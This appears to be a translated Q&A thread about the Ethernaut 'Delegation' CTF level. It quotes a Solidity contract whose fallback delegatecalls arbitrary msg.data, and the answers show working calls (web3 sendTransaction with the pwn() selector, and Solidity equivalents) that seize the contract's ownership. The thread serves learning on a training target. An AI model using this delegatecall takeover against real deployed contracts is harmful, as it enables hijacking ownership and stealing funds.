使用委托调用在外部合约中传递 msg.data

Question

我正在经历 ethernaut ctf 挑战，我试图通过我自己的智能合约获得此合约的所有权，这是目标代码：

 pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

我的假设是您可以利用此代码并通过在代表团中传递 msg.data 来获得所有权与委托合约中的 pwn() 函数相对应的合约（使用委托调用这将允许我们获得委托合约的所有权）。我的问题是传递 msg.data，我不完全确定如何正确执行此操作，这是我的尝试：

contract OwnerAttack {

    function attack(address payable _victim) public payable {

    address to = payable(_victim);
    (bool sent, ) = to.call{value: msg.value}(abi.encodeWithSignature("pwn()"));
    require(sent , "transfer failed");

    }


    receive()external payable{ 
    }

但是传输失败，提前感谢您的帮助

Answer 1

您已正确确定了解决此问题的方法；我们必须在调用直接合约（委托）时发送目标合约（委托）的函数选择器。

为此，我们可以使用 Web3JS 或 EtherJS。 Ethernaut 控制台支持 Web3JS，因此我们将在这里使用它。

首先，我们必须计算 pwn() 函数的选择器。

const selector = web3.eth.abi.encodeFunctionSignature("pwn()")

其次，我们必须调用 Delegation，但调用 pwn() 作为其函数。这样，回退函数就会被触发，然后委托调用选择器位于事务的 msg.data 中的函数。这样就调用了委托合约的pwn()函数。

为了进行调用，我们只需使用 sendTransaction，例如：

await web3.eth.sendTransaction({from:player, to:contract.address, data:selector})

这应该可以回答您的问题。

Answer 2

我认为 Hasan Answer 会起作用，但如果你想完全在 Solidity 内部进行攻击，我认为你可能可以通过以下方式获得函数签名：

bytes4 encodedSignature = bytes4(keccak256("pwn()"));

使用 keccak256 进行散列，然后将其转换为 bytes4 这正是 Solidity 生成函数签名的方式，所以这应该有效。

但经过一些研究，看起来您也可以使用它来检索它：

Delegate(0).pwn.selector

然后使用返回的值进行攻击。

Answer 3

以下内容也适用：

        bytes memory selector = abi.encodeWithSignature("pwn()");
        (bool success, ) = address(c).call(selector);

c 是进行委托调用的合约的地址

Answer 4

如果您通过合同进行调用，所有者将被设置为您调用的合同。

因此最好使用 Hasan 提到的 sendTransaction 方法。